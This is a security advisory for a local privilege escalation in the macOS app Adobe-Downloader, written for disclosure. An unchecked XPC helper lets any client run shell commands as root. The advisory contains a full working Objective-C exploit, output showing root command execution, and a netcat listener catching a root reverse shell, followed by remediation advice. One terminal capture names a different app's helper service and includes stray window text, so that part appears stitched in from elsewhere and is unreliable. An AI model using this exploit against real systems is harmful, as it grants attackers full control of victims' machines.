

Adobe-Downloader <=1.3.1

Local Privilege Escalation

XPC Local Privilege Escalation

Description

The Adobe-Downloader application is vulnerable to a local privilege escalation due to insecure implementation of its XPC service. The application registers a Mach service under the name **com.x1a0he.macOS.Adobe-Downloader.helper**. The associated binary, **com.x1a0he.macOS.Adobe-Downloader.helper**, is a privileged helper tool designed to execute actions requiring elevated privileges on behalf of the client.

The root cause of this vulnerability lies in the **shouldAcceptNewConnection** method, which unconditionally returns **YES** (or **true**), allowing any XPC client to connect to the service without any form of verification. Consequently, unauthorized clients can establish a connection to the Mach service and invoke methods exposed by the HelperToolProtocol interface.

```
extension HelperTool: NSXPCListenerDelegate {
    func listener(_ listener: NSXPCListener, shouldAcceptNewConnection newConnection: NSXPCCConnection) ->
    Bool {
        newConnection.exportedInterface = NSXPCInterface(with: HelperToolProtocol.self)
        newConnection.exportedObject = self

        newConnection.invalidationHandler = { [weak self] in
            self?.connections.remove(newConnection)
        }

        connections.insert(newConnection)
        newConnection.resume()

        return true
    }
}
```

Among the available methods, the **executeCommand** method is particularly dangerous. It allows the execution of arbitrary shell commands with root privileges, effectively granting attackers full control over the system.

```
@objc(HelperToolProtocol) protocol HelperToolProtocol {  
    func executeCommand(_ command: String, withReply reply: @escaping (String) -> Void)  
    func startInstallation(_ command: String, withReply reply: @escaping (String) -> Void)  
    func getInstallationOutput(withReply reply: @escaping (String) -> Void)  
}
```

Impact

An attacker can exploit the vulnerability to execute arbitrary code with root privilege.

Reproduction

1. Create a custom xpc client (exploit) with the following code:

```
#import <Foundation/Foundation.h>  
  
static NSString* XPCHelperMachServiceName = @"com.x1a0he.macOS.Adobe-Downloader.helper";  
  
@protocol HelperToolProtocol  
  
- (void)executeCommand:(NSString *)command withReply:(void (^)(NSString *response))reply;  
- (void)startInstallation:(NSString *)command withReply:(void (^)(NSString *response))reply;  
- (void)getInstallationOutputWithReply:(void (^)(NSString *output))reply;  
@end  
  
int main()  
{  
  
    NSString* service_name = XPCHelperMachServiceName;  
    NSXPCConnection* connection = [[NSXPCConnection alloc] initWithMachServiceName:service_name
```

```

options:0x1000];

NSXPCInterface* interface = [NSXPCInterface interfaceWithProtocol:@protocol(HelperToolProtocol)];
[connection setRemoteObjectInterface:interface];
[connection resume];

id obj = [connection remoteObjectProxyWithErrorHandler:^(NSError* error)
    {
        NSLog(@"[-] Something went wrong");
        NSLog(@"[-] Error: %@", error);
    }
];

NSLog(@"Object: %@", obj);
NSLog(@"Connection: %@", connection);
NSString * command = @"touch /tmp/pwn.txt";

[obj executeCommand:command withReply:^(NSString *response)
    {
        NSLog(@"Response, %@", response);
    }
];

NSLog(@"Exploitation Completed!");

}

```

2. Compile and run the exploit, we can notice the command was executed by root, as a new txt file was created by root.

```

adler@adlers-Mac-mini xpc-exp % ls -al /tmp/pwn.txt
ls: /tmp/pwn.txt: No such file or directory
adler@adlers-Mac-mini xpc-exp % ./adobe-downloader
2024-12-10 01:05:06.823 adobe-downloader[76237:2841517] Object:
<__NSXPCInterfaceProxy_HelperToolProtocol: 0x600001058140>
2024-12-10 01:05:06.824 adobe-downloader[76237:2841517] Connection: <NSXPCCConnection:
0x6000000254140> connection to service named com.x1a0he.macOS.Adobe-Downloader.helper
2024-12-10 01:05:06.824 adobe-downloader[76237:2841517] Exploitation Completed!
adler@adlers-Mac-mini xpc-exp % ls -al /tmp/pwn.txt
-rw-r--r--  1 root  wheel  0 Dec 10 01:05 /tmp/pwn.txt

```

3. Change the command to obtain a reverse shell:

```
(root@kali)~[~/Desktop]
# nc -nlvp 4444
listening on [any] 4444 ...
connect to [192.168.0.200] from (UNKNOWN) [192.168.0.10] 49283
sh: no job control in this shell
sh-3.2# id
uid=0(root) gid=0(wheel) groups=0(wheel),1(daemon),2(kmem),3(sys),4(tty),5(operator),8(procview),9(procmount),12(everyone),20(staff),29(certuse
om.apple.sharepoint.group.1),33(_appstore),98(_lpadmin),100(_lpoperator),204(_developer),250(_analyticsusers),395(com.apple.access_ftp),398(c
m.apple.access_ssh),400(com.apple.access_remote_ae)
sh-3.2#
```

```
Administrator: Windows x Administrator: Windows x Administrator: Windows x + v - □ ×
adler@adlers-Mac-mini xpc-exp % gcc -framework Foundation exploit.m -o exploit
adler@adlers-Mac-mini xpc-exp % ./exploit
2024-12-10 17:47:58.292 exploit[2713:135516] Objection Info: <__NSXPCInterfaceProxy_HelperP
rotocol: 0x600001de8960>
2024-12-10 17:47:58.293 exploit[2713:135516] Connection Info: <NSXPCConnection: 0x600000fe8
140> connection to service named eu.exelban.Stats.SMC.Helper
2024-12-10 17:47:58.293 exploit[2713:135516] Triggering a root reverse shell
2024-12-10 17:47:58.293 exploit[2713:135516] Enjoy the root shell : )
adler@adlers-Mac-mini xpc-exp %
```

Recommendation

Implement strong client verification, including code signing checks, audit token verification, a good example can be found at <https://github.com/objective-see/BlockBlock/blob/aa83b7326a4823e78cb2f2d214d39bc8af26ed79/Daemon/Daemon/XPCListener.m#L147>. It is also important to enable hardened runtime and restrict some entitlements, such as **com.apple.security.cs.disable-library-validation**, **com.apple.security.cs.allow-dyld-environment-variables**, **com.apple.private.security.clear-library-validation**, etc.

Revision #1

Created 16 December 2024 17:54:21 by winslow

Updated 16 December 2024 17:59:27 by winslow